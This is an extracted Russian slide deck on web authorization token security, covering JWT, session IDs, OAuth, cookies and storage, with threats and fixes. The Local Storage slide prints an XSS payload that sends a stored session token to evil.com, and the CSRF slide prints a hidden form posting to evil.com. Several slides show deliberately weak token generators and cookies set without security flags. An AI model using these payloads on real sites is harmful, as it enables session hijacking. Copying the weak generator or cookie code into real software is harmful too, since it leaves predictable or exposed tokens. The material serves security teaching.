
WEB. Безопасность 
токенов авторизации.
Утечет или нет?

                                   *Приведенная информация получена из открытых источников в сети Интернет, 
все совпадения случайны, информация в докладе не направлена на нарушения законов 
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WEB
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WEB



Как передавать
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JW*
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JWK

  {"kty":"EC",
   "crv":"P-256",
   "x":"f83OJ3D2xF1Bg8vub9tLe1gHMzV76e8Tus9uPHvRVEU",
   "y":"x_FEzRu9m36HLN_tue659LNpXW6pCyStikYjKIWI5a0",
   "kid":"Public key used in JWS spec Appendix A.3 example"
  }

Elliptic Curve [DSS] key

A JSON Web Key (JWK) is a JavaScript Object Notation (JSON) data 
structure that represents a cryptographic key.

ISSN: 2070-1721
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JWA

This specification registers cryptographic algorithms and identifiers to be used with the JSON 
Web Signature (JWS), JSON Web Encryption (JWE), and JSON Web Key (JWK) specifications.

ISSN: 2070-1721
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JWE

BASE64URL(UTF8(JWE Protected Header)) || '.' 
BASE64URL(JWE Encrypted Key) '.' 
BASE64URL(JWE Initialization Vector) '.' 
BASE64URL(JWE Ciphertext) || '.' 
BASE64URL(JWE Authentication Tag).

ISSN: 2070-1721
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JWS

  BASE64URL(UTF8(JWS Protected Header)) '.' 
  BASE64URL(JWS Payload) '.' 
  BASE64URL(JWS Signature)

ISSN: 2070-1721
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JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6
MTIzNDU2Nzg5LCJuYW1lIjoiSm9zZXBoIn0.OpOS
Sw7e485LOP5PrzScxHb7SR6sAOMRckfFwi4rp7o

ServerBrowser

POST /login (username+passwd)

Return JWT to the Browser 

Create JWT 
with secret

Send request with JWT inside

Response to client

Check JWT 
with secret,
get user info 

JSON Web Token
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JWT

* https://xakep.ru/2024/08/07/jwt-deep-dive/
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PHPsessid
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PHPsessid
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SID=Ggfs6G7654Vdfitdv7hf75g3x1v4 

Security
Identifier (SID),
Session ID (SID),
Sid,
sid
….
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OAuth 2.0

*https://xakep.ru/2024/09/04/oauth-deep-dive-basic/
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Refresh / Access token

https://skine.ru/articles/612356/
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Зачем вводить каждый раз пароль? 



OAuth-токен

ТОКЕН МОЖЕТ СТАТЬ НЕДЕЙСТВИТЕЛЕН:
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Yandex*

 Он был отозван  Пользователь сменил пароль 
учетной записи, на которую 
был выдан токен

 Пользователь учетной записи, 
на которую был выдан токен, нажал 
кнопку Выйти из всех сервисов
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OpenID



JSESSIONID. J - значит JAVA
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WebAuthn

https://docs.uidm.ru/webdocs/webauthn.html*WebAuthn is resistant to phishing attacks is due to the domain name being stored on the authenticator
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BASIC
admin:password
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Bearer переводится как носитель*

* а не как бобр
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Угрозы 

Можно 
переиспользовать

WEB уязвимости 
(XSS, SQLi, CSRF 
и т.д.)

Нарушить 
бизнес логику

Токен 
не проверяется 
или не нУжон

Слабый генератор, 

а токен короткий

Большое время 
жизни, не тухнет

Доступен другим 
приложениям

Передается 
на 3-ю сторону 

Слабая 
ролевая модель

Небезопасная 
реализация
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Когда можно переиспользовать (reuse)

Защиты типа X-CSRF-токен — 
мало. Злодей вставит себе 
в запрос токен и получит 
доступ. 
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Как пофиксить

Регистр сдвига

https://ru.wikipedia.org/wiki/Регистр_
сдвига_с_линейной_обратной_связью

ROR 1 (Почему бы и нет)

Если не верно, токен деактивируется, сессия прерывается. 
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 Fraud Protection системы или 3-я 
сторона (Third Party) – арбитр операции

 Регистр сдвига 
с обратной связью

 Часто менять (reconnection), 
время жизни 



Нарушение бизнес логики

НЕКОТОРЫЕ ПРИМЕРЫ BROKEN ACCESS CONTROL 
(НАРУШЕННЫЙ КОНТРОЛЬ ДОСТУПА):
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 Горизонтальный контроль доступа — 
непривилегированный пользователь получает 
доступ к административным функциям или 
чувствительным данным, предназначенным
 для привилегированных пользователей

 Вертикальный контроль доступа — 
aвторизованный пользователь может увеличить 
свои привилегии или получить доступ к ресурсам 
за пределами намеченного уровня авторизации

 Манипулирование URL - злоумышленник изменяет 
URL, чтобы обойти контроль доступа и получить 
несанкционированный доступ к ресурсам системы

 Рудименты – ресурсы которые уже 
не используются, но есть уже лет 10...



Нарушение бизнес логики
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ID админа / пользователя
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Как пофиксить

Контроль 
конфигураций серверов 

Разграничение доступа 
в рамках ролевых моделей 
и создание матрицы ролей 

(Role Based Access 
Control, RBAC)

Санитайзинг 
и постоянное ревью активов 

Регулярные пентесты 
(аудит, анализ защищенности)

Проектирование систем 
совместно с экспертом ИБ
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1 2 3

4 5



Токен не проверяется
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Как пофиксить

32

Настроить правила 
сканирования исходного кода 

Регулярный пентест 
(аудит, анализ защищенности) 

1 2
Использовать доверенный 
компонент авторизации 
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Слабый генератор, а токен короткий

C

Rand()

JS

function insecure_random() {
  return Math.random();
}

String GenerateReceiptURL(String baseUrl) {

    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + Gen.nextInt(400000000) + ".html");

}
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Слабый генератор, а токен короткий

PHP

mt_rand()

static function GenerateToken()

{  $token_length = 32;
   $search_space = “0123456789abc”;
   $search_space_length = strlen($search_space);
   $token = ‘’;
for ($i = 0; $i < $token_length; $i++) {
$index = mt_rand(0, $search_space_length - 1);
$character = $search_space[$index];
$token = $token + $character;
}
return $token;
}

Python

import random

def insecure_random():
return random.randint(0, 100)
print(insecure_random())

import random
print(random.rand range(1000000, 9999999)) 

.NET

public static string GenerateToken()

{
Random rnd = new Random();
const int tokenLength = 32;
const string charset = "012345679abc";

StringBuilder sb = new StringBuilder();
for (int ctr = 0; ctr < tokenLength; ctr++)
{ sb.Append(charset[rnd.Next(charset.Length-1)]); } 
return sb.ToString();}
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Как пофиксить

.NET - RNGCryptoServerProvider()
Java  - java.security.SecureRandom()
JavaScript (Node.js)  - crypto.RandomBytes()
Java - import java.security.SecureRandom
PHP - random_bytes()
Python - random.SystemRandom()
System, cmd, bash, OS - os.urandom()
JS –SecureRandom(),randGen.nextInt(maximumValue)
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 Длина не меньше 16 байт 
 Использовать надежные генераторы
 Настроить SAST, чтобы искать ненадежные 

методы
 Регулярный пентест 
 Ревью кода
 Делать по гайду (RFC)
 Проведение статических (энтропийных) тестов, 

например с помощью Ent, Dieharder
 И конечно же Sequencer
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Доступен другим приложениям

Не SameSite Общедоступные папки

Единый буфер обмена
Небезопасное логирование 
(и хватит писать трафик в logcat !!!) 



Как пофиксить

Android. Key Store IOS. Key Chain 
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WEB. Браузеры.
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Cookie

39

Защита от угроз



Cookie
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Защита от угроз

Межсайтовый скриптинг (XSS) Подделка файлов cookie
Подделка межсайтовых 

запросов (CSRF)

1 2 3

Фиксация сеанса

document.cookie="name=value; 
path=/; 

domain=.example.com;";alert(1);
Сеансовое отравление 

4 5



Cookie
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Защита от угроз

JS document.cookie = "session_id=" + session_id;
var session_id = document.cookie.split(';').find(cookie => 
cookie.startsWith('session_id=')).split('=');

Без флагов HttpOnly и Secure — позволяет 
злоумышленнику украсть идентификатор сеанса 
и получить несанкционированный доступ 
к учетной записи пользователя.

PHP setcookie('user_info', $username . ':' . $password);
list($username, $password) = explode(':', 
$_COOKIE['user_info']);

Имя пользователя и пароль без шифрования. 
Это позволяет злоумышленнику украсть учетные 
данные пользователя для входа в систему.

Python response.set_cookie('session_id', session_id)
session_id = request.COOKIES.get('session_id')

Без флагов HttpOnly и Secure — позволяет 
злоумышленнику украсть идентификатор сеанса 
и получить несанкционированный доступ 
к учетной записи пользователя.

Ruby response.set_cookie('session_id', session_id)
session_id = request.cookies['session_id']

Без флагов HttpOnly и Secure — позволяет 
злоумышленнику украсть идентификатор сеанса 
и получить несанкционированный доступ 
к учетной записи пользователя.



Защита от угроз

Не рекомендуется хранить:

Local Storage

XSS  

<img src=x 
onerror="document.location='https://evil.com?
key='+window.localStorage.getItem('simple_auth:se
ssion')">
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 Идентификаторы пользователей
 Идентификаторы сессий
 JWT (JSON Web Token)
 Персональная информация
 Информация о кредитной карте
 API-ключи



Защита от угроз

XSS CSRF

<form action="http://evil.com/send" 
method="POST">

  <input type="hidden" name="message" 
value="Сообщение">

  ...

</form>
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Как логировать (ELK)
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Строить бизнес процесс 
на токенах — нельзя!

Используйте другие идентификаторы



Например

DB
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Например 2
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Партнер 2Партнер 1



Как пофиксить
GET  /page?ext_id=13abf78f876ac876dd99b1245aaf

ext_id=13abf78f876
ac876dd99b1245aafJWT2

Backend
Auth

Provider

POST /give_me_new_JWT 
ext_id=13abf78f876ac876dd99b1245aaf&is_online=check

JWT1 = 
FEzRu9m36HLN_t
ue659LNpXW6pCy
StikYjKIWI5a0

JWT2 = 
AadfRu9m36HLN_tue659LNpXW6pCyStikYjKIWI522

JWT1 <-->JWT2

JWT2 : нельзя переиспользовать для доступа к ресурсам Партнера 1

48

Партнер 2Партнер 1

Set-Cookie: JWT2=AadfRu9m36HLN_tue659LNpXW6pCyStikYjKIWI522;



Как пофиксить (bonus)
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scapp://screen1/status?st=start

Статус / 
состояние

*Deeplink
Applink 

Партнер 1 Партнер 2
scapp://screen1/status?st=end

Статус / 
состояние 

Партнер 1 Партнер 2



Как утекает в метрику, 
примеры и примеры настройки
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Как утекает в метрику, 
примеры и примеры настройки
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Как утекает в метрику, 
примеры и примеры настройки
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Как пофиксить
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Не передавать 
данные авторизации 
в query парамметрах 

(в URI)

Создать локальный 
фильтр исходящих 

запросов 

Проводить 
регулярный 

pentest
Код-ревью

Тонко настраивать 
SDK метрик, 
не писать всё 

подряд

Использовать 
связку с ID-сессией, 

защищаться от 
переиспользования

Динамический 
непрерывный 

поиск секретов 
в хранилищах

Обеспечивать 
одноразовость 

при Oauth, OpenID



Спасибо за внимание

Сканить тут
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